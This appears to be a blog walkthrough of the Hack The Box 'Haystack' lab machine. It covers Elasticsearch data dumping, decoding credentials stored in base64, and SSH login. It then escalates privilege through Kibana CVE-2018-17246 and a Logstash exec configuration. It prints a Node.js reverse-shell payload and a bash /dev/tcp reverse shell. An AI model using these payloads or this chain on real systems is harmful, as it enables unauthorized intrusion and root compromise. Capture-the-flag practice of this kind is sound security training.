Hackthebox – Haystack

As with all machines, we start with a portscan on all ports, slightly adjusted as reviewing hackthebox videos teaches me a bit of useful stuff too!

root@kalivm:~/Haystack# nmap -p 0-65535 -sTV -sC -oN fullscan-tcp
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-25 06:16 CEST
Stats: 0:01:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 61.98% done; ETC: 06:19 (0:01:07 remaining)
Nmap scan report for
Host is up (0.020s latency).
Not shown: 65533 filtered ports
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.51 seconds

So I see that ports 80 and 9200 are running a web server. Gobuster on port 80 yields no results, gobuster on port 9200 on the other hand…

root@kalivm:~/Haystack# gobuster dir -u -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,html,php
[+] Timeout:        10s
2019/09/25 06:21:55 Starting gobuster
/quotes (Status: 200)
/_stats (Status: 200)
/_template (Status: 200)
/bank (Status: 200)
/_search (Status: 200)
/_tasks (Status: 200)
/_recovery (Status: 200)
2019/09/25 06:33:02 Finished

Some further analysis learns that this is an ElasticSearch system. After some research regarding attack paths, it appears that this can be queried using a simple Node tool called elasticdump. So I install it

root@kalivm:~/Haystack# npm install elasticdump -g
+ elasticdump@6.11.0
added 99 packages from 144 contributors in 3.893s

And then start to fiddle with it. After some playing around with it, and dumping the various endpoints, I get to the quotes endpoint (skipping all others here because that would be a lengthy analysis of everything).

root@kalivm:~/Haystack# elasticdump --input= --output=all.json --ignore-errors
Wed, 25 Sep 2019 05:11:33 GMT | starting dump
Wed, 25 Sep 2019 05:11:33 GMT | got 100 objects from source elasticsearch (offset: 0)
Wed, 25 Sep 2019 05:11:33 GMT | sent 100 objects to destination file, wrote 100
Wed, 25 Sep 2019 05:11:33 GMT | got 100 objects from source elasticsearch (offset: 100)
Wed, 25 Sep 2019 05:11:33 GMT | sent 100 objects to destination file, wrote 100
Wed, 25 Sep 2019 05:11:33 GMT | got 53 objects from source elasticsearch (offset: 200)
Wed, 25 Sep 2019 05:11:33 GMT | sent 53 objects to destination file, wrote 53
Wed, 25 Sep 2019 05:11:33 GMT | got 0 objects from source elasticsearch (offset: 253)
Wed, 25 Sep 2019 05:11:33 GMT | Total Writes: 253
Wed, 25 Sep 2019 05:11:33 GMT | dump complete

So I dump the quotes data into a json file and open it with nano. After some browsing through the results I see two entries that appear to contain an encoded string.

{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}
{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}

After throwing the quotes through Google Translate, I find the following translations:
I have to save the password for the machine” (QID45) and “This key cannot be lost, I keep it here” (QID111)

root@kalivm:~/Haystack# echo -n dXNlcjogc2VjdXJpdHkg | base64 -d ;echo 
user: security 
root@kalivm:~/Haystack# echo -n cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d; echo
pass: spanish.is.key

So the username and password are stored in an encoded format. Not a smart thing to do! Since the only entrypoint that I found so far, is the SSH server, I try the combination there and find the user flag instantly!

root@kalivm:~/Haystack# ssh security@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
security@'s password: 
Last login: Wed Sep 25 02:12:08 2019 from
[security@haystack ~]$ ls
[security@haystack ~]$ cat user.txt

Privilege Escalation

After getting a shell, the first thing was of course to browse around and see where I have access to. It became clear quite quickly that this server had an entire ELK (ElasticSearch Logstash and Kibana) stack installed and that I did not have access to all configuration files unfortunately

[security@haystack ~]$ cat /etc/logstash/conf.d/input.conf 
cat: /etc/logstash/conf.d/input.conf: Permission denied

However through simple analysis I could see that several services are accessible only on this local machine.

[security@haystack ~]$ ss -plunt
Netid State      Recv-Q Send-Q  Local Address:Port  Peer Address:Port
udp   UNCONN     0      0               *:*
udp   UNCONN     0      0                 ::1:323             :::*
tcp   LISTEN     0      128                 *:80               *:*
tcp   LISTEN     0      128                 *:9200             *:*
tcp   LISTEN     0      128                 *:22               *:*
tcp   LISTEN     0      128             *:*
tcp   LISTEN     0      128  ::ffff:            :::*
tcp   LISTEN     0      128                :::80              :::*
tcp   LISTEN     0      128  ::ffff:            :::*
tcp   LISTEN     0      128                :::22              :::*
tcp   LISTEN     0      50   ::ffff:            :::*

Time to (ab)use those services with some simple SSH port forwarding.

root@kalivm:~/Haystack# ssh security@ -L 5601:
security@'s password: 
Last login: Wed Sep 25 13:48:05 2019 from
[security@haystack ~]$

After simply forwarding the port with SSH, I find the final confirmation that it is indeed a kibana installation and start browsing through the App.

After not finding much useful here, I start doing some additional research and come across this article about CVE-2018-17246 which looks promising so I start to replicate the steps.
First I create a JavaScript file on the target machine.

[security@haystack ~]$ cat /tmp/sedje.js 
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "", function(){
    return /a/; // Prevents the Node.js application form crashing

And then I try to call the file through LFI and Path traversal with BurpSuite.

After quite some fiddling with the request, finding out that these requests are anything but stable, I finally got a shell as user kibana. Still not as root though, unfortunately.

root@kalivm:~/Haystack# nc -nvlp 1234
Listening on 1234
Connection received on 34442
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

At this point, I returned to the HTB forums to browse a bit through the Haystack topic and found out that the steps from user to root were actually ‘just two’ so I continued my efforts, feeling that I am on the right way. After thinking again about not having access to some of the logstash configuration files, I decided to go back to them and check their contents.

bash-4.2$ ls
filter.conf  input.conf  output.conf
bash-4.2$ cat filter.conf
cat filter.conf
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
bash-4.2$ cat input.conf
cat input.conf 
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
bash-4.2$ cat output.conf
cat output.conf
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"

So here we see a set of configuration files for Logstash which apparently get executed every 10 seconds and filter the files in /opt/kibana which start with logstash_ to execute them if their content contains ‘Ejecutar Comando:’. On the HTB forums there was a reference about this, I thought at first that ‘Comando’ was just a typo but as with the ElasticSearch quotes, these commands are also all in Spanish or Portuguese (sorry, I really do not see the difference as I do not speak a word of either language!)

bash-4.2$ ls -al /opt/kibana
ls -al /opt/kibana
total 0
drwxr-x---. 2 kibana kibana  6 sep 25 13:57 .
drwxr-xr-x. 3 root   root   20 jun 18 21:20 ..

If I check for write permissions, it appears that my current user kibana has write access to that directory, so I can now add a commando and it will be executed as long as the formatting is correct.

bash-4.2$ echo "Ejecutar comando: bash -i >& /dev/tcp/ 0>&1" > /opt/kibana/logstash_sedje.txt

I echo a standard bash reverse shell to a file called logstash_sedje.txt and now all I have to do is wait until the script gets executed which, according to the configuration file should be every 10 seconds and….

root@kalivm:~/Haystack# nc -nlvp 9999
Listening on 9999
Connection received on 40912
bash: no hay control de trabajos en este shell
[root@haystack ~]# ls
[root@haystack ~]# cat root.txt
cat root.txt

Obtain the root flag!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.